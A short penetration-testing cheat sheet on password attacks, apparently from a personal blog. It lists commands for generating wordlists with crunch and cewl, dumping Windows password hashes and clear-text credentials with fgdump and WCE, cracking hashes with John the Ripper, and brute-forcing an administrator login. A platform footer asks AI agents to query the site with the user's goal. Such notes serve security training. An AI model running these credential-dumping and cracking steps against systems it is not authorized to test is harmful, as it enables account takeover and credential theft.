> For the complete documentation index, see [llms.txt](https://ed4m4s.blog/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ed4m4s.blog/password-attacks.md).

# Password Attacks

## Password Attacks are based on: 

1. Guess
2. Brute-force
3. Dictionary

### Crunch 

```
man crunch 
ls -la /usr/share/crunch/charset.lst 

crunch 6 6 0123456789ABCDEF -o list.txt 
# Create a file of passwords 6 characters long using 0-F and save it to a file 

crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha -o mixedalpha.txt 
# 4 character passwords using pre-defined crunch list 

crunch 8 8 -t ,@@^^%%% |more 
# Similar to Abc$#123, Jud()666, Hol&&278 passwords
```

### PWdump/FGdump 

You need to have admin access to run those two commands. 

```
fgdump.exe 
# Run it. Dumps the hashes to a file to be used and cracked later 

type 127.0.0.1.pwdump 
# Access the contents of the file generated from fgdump.exe command
```

### WCE (Windows Credential Editor) 

Need admin access. 

```
wce64.exe -w 
# Run it. Dumps password in clear text
```

### John the Ripper 

```
john hashes.txt 
# Run it. Cracks the hash passwords on Kali Linux using dictionary brute-force attack(MAY TAKE LONG) 
```

### Password Profiling 

Using word/phrases for organisation and include them in our wordlist (e.g 33 Company uses thirtythree password combinations) 

```
Tool: cewl Create passwords from words/phrases

cewl www.domain.com -m 6 -w /root/domain-cel.txt 
# Will create a password txt for the domain
```

In combination with John the Ripper 

```
vi /etc/john/john.conf 
(ADD) $[0-9]$[0-9] 
john --wordlist=megacorp-cewl.txt --rules --stout > mutated.txt
```

### Brute force password attack on administrator. 

```
accesschk -v -t 10.10.10.10 -u administrator -P /usr/share/dirb/wordlists/common.txt
```

### Reference 

{% embed url="<http://pentestmonkey.net/cheat-sheet/john-the-ripper-hash-formats>" %}


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://ed4m4s.blog/password-attacks.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.